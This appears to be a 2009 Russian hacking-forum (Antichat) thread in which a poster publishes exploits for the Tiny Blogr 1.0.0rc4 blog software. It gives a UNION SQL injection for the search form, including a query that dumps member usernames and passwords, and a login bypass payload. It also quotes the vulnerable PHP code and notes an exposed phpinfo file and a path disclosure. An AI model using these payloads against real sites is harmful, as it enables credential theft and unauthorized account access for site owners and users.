PDA

Просмотр полной версии : Tiny Blogr 1.0.0rc4


Ctacok
10.12.2009, 21:54
Tiny Blogr 1.0.0rc4

SQL Иньекция:
Нужно:
magic_quotes = off.

/search

В поиск вбить ($_POST['txtKeyword'])
1%' union select 1,2,concat_ws(0x3a,user(),database(),version()),4, 5,6,7,8 --

Уязвимость находиться в файле /modules/search/index.php

foreach ($_POST['txtAv'] as $sitem) {
switch ($sitem) {
case "blogitem":
$obblog=new Blog();
$obblogitem=new BlogItem();
$obblogitemarr=$obblogitem->Find("bitTitle LIKE '%".$_POST['txtKeyword']."%' OR bitBody LIKE '%".$_POST['txtKeyword']."%' ORDER BY bitId DESC");
foreach ($obblogitemarr as $bbitem) {
$obblog->Load("blgId='".$bbitem->blgid."' ");
$title=$bbitem->bittitle;
$link=$cfg_url."/blog/".$obblog->blgshortcut."/view/".$bbitem->bitid;
array_push($result,array("title"=>$title,"link"=>$link));
}
break;


Auth ByPass

/login

Нужно:
magic_quotes = off

В поле username ($_POST['txtUsername']):
1' or 1=1/*
В password : blablabla

Уязвимость находиться в файле /modules/login/index.php

if ($_POST['ac']=="login") {
if ($_SESSION['captcha']==$_POST['txtVerify']) {
// authentication
if ($obeport->getAuthenticaion($_POST['txtUsername'],$_POST['txtPassword'])) {
$obeport->showMessage(2,_PORT_LOGEDIN);
$obeport->goPageDelay("blog/".$_POST['txtUsername'],3);
} else {
$obeport->showMessage(1,_PORT_CANNOT_LOGIN);
$obeport->goPageDelay("login",3);
}
} else {
$obeport->showMessage(1,_PORT_CAPTCHA_ERROR);
$obeport->goPageDelay("login",3);
}
} else {



(c) Ctacok, special for Antichat.ru

Ctacok
10.12.2009, 22:02
Сформированный запрос:
1%' union select 1,2,concat_ws(0x3a,memUsername,memPassword),4,5,6, 7,8 from tbl_epo_member--
Так же в комплекте со скриптом идёт файл info.php, с содержанием <? phpinfo() ?>, ну вы понеле.
Так же раскрытие путей ( :) ):
/modules/tag/

Fatal error: Class 'Tag' not found in Z:\home\****\www\modules\tag\index.php on line 8